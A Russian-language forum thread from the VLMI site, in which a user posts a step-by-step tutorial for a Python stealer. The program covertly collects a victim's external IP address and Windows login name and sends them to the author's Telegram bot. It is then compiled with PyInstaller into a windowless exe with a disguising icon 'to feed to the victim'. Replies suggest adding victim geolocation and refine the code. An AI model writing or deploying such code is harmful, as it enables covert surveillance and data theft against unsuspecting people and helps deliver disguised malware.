• VLMI - форум по обмену информацией. На форуме можете найти способы заработка, разнообразную информацию по интернет-безопасности, обмен знаниями, курсы/сливы.

    После регистрации будут доступны основные разделы.

    Контент форума создают пользователи, администрация за действия пользователей не несёт ответственности, отказ от ответственности. Так же перед использованием форума необходимо ознакомиться с правилами ресурса. Продолжая использовать ресурс вы соглашаетесь с правилами.
  • Подпишись на наш канал в Telegram для информации о актуальных зеркалах форума: https://t.me/vlmiclub

Python Узнаем чужой IP, реализация на Python

h0peIess

Участник
Сообщения
13
Реакции
26
0 руб.
Please note, if you want to make a deal with this user, that it is blocked.
Хэй! Не знаю зачем я это сделал, но ведь всё в жизни бывает, так что погнали. Программа будет узнавать IP человека и присылать его к нам в Telegram.
Установка Python
Переходим по ссылке - я ссылка. Скачиваем последнюю версию и устанавливаем её.
16633-24154d829be820968ed0f0957f4d073c.png

Создание Бота
Набираем в поисковой строке имя "@BotFather". Запускаем с ним диалог и создаем нового бота, которому мы должны придумать имя с окончанием "_bot". После BotFather выдаст нам token для управления нашим ботом.
Код:
/start
/newbot
После мы должны с нашего аккаунта прислать боту любое сообщение. Далее мы переходим по ссылке.
Код:
https://api.telegram.org/bot***ВАШ_ТОКЕН***/getUpdates #перейти по данной ссылке
chat":{"id":вашid #найти ваш chatid на открывшейся странице, это логи вашего бота
С ботом мы покончили, идем дальше. Запомните ваш chatid!
Написание кода
Импортируем модули, которые нам нужны:

Python:
import requests
from os import getlogin
=========================================
К сожалению, telegram не работает на территории РФ. Прийдется подключить прокси. Подойдут даже бесплатные.
Python:
http_proxy  = "http://proxy"
https_proxy = "https://proxy"
ftp_proxy   = "ftp://proxy
proxy = {
"http"  : http_proxy,
"https" : https_proxy,
"ftp"   : ftp_proxy
}
=========================================
Основная часть кода
Python:
p = False    # Для последующего цикла
while p == False:    # Условие
    try: # Пробуем получить IP
        name_of_user = getlogin()    # Получаем имя пользователя
        ip_pc = requests.get('http://httpbin.org/ip').content # Делаем запрос к сайту
        ip_pc = ip_pc.decode('utf-8')    # Декодируем
        ip = ""
        for i in ip_pc:                                                                                                                            # Очищаем от мусора
            if i not in '{}":origin' and len(i) == 1:                                                                                    # Очищаем от мусора
                ip+=i                                                                                                                            # Очищаем от мусора
            else:                                                                                                                                # Очищаем от мусора
                pass                                                                                                                            # Очищаем от мусора
        requests.get('http://api.telegram.org/bot***ВАШ_ТОКЕН***/sendMessage?chat_id=***ВАШ_CHATID***&text='+ ip + ' ' + name_of_user, proxies = proxy) # Отправаляем сообщение в телеграм
        p = True    # Выходим из цикла
    except:    # Если возникает ошибка(нет доступа в интернет), пробуем, пока не получится
        pass    # Если возникает ошибка, то мы ничего не делаем
=========================================
Компилируем в exe, чтобы скормить наш код жертве
Воспользуемся программой PyInstaller. Ее можно установить благодаря команде, которую нам нужно ввести в CMD: pip install pyinstaller. Вот аргументы Pyinstaller'a, которые мы будем использовать:
1) -F, соберет все файлы в один exe файл .
2)-w, отключит консоль .
3)-i ***путь к иконке***, аргумент,который подключит к программе иконку .
Финальная команда для CMD: pyinstaller -F -w -i ***путь к иконке*** ***путь к файлу .py***.

Исходники
Скачать исходники можно по ссылке - я ссылка.
Пароль: h0peIess.

Спасибо, что прочитал мою статью! Поки.
 
Последнее редактирование:

Fathak

Участник
Сообщения
68
Реакции
33
0 руб.
Почему бы не реализовать возможность узнать местоположение жертвы например спомощью гугл карт? И отсылать координаты на телегу?
 

danaforevr

питонист

danaforevr

питонист
Резидент
Сообщения
269
Реакции
516
0 руб.
Ничего особо не имею против,но кажись мною вдохновились (ЧСВ+),очень похож стиль написания,а некоторые моменты вообще идентичны)
 

h0peIess

Участник
Сообщения
13
Реакции
26
0 руб.
Please note, if you want to make a deal with this user, that it is blocked.
Ничего особо не имею против,но кажись мною вдохновились (ЧСВ+),очень похож стиль написания,а некоторые моменты вообще идентичны)
Да, действительно, стиль очень похож. Хм..... Только у меня немного потусклее текст xD
 

BotHub

Разработчик ботов

BotHub

Разработчик ботов
Резидент
Сообщения
285
Реакции
420
0 руб.
Telegram
Почему бы не реализовать возможность узнать местоположение жертвы например спомощью гугл карт? И отсылать координаты на телегу?
можно, если модуль для определения координат поставить
 

gh0st4ge

Местный
Сообщения
40
Реакции
86
0 руб.
if i != '{' and i != '}' and i != '"' and i != ':' and i != 'o' and i != 'r' and i != 'i' and i != 'g' and i != 'i' and i != 'n': # Очищаем от мусора
вот сокращенная запись:
Python:
if i not in '{}":orgin' and len(i) == 1:
Подобная запись положительно влияет на чтение кода.
 

h0peIess

Участник
Сообщения
13
Реакции
26
0 руб.
Please note, if you want to make a deal with this user, that it is blocked.
вот сокращенная запись:
Python:
if i not in '{}":orgin' and len(i) == 1:
Подобная запись положительно влияет на чтение кода.
Да, такая запись более благоприятна для глаз)
Поменяю код...
 
Сверху Снизу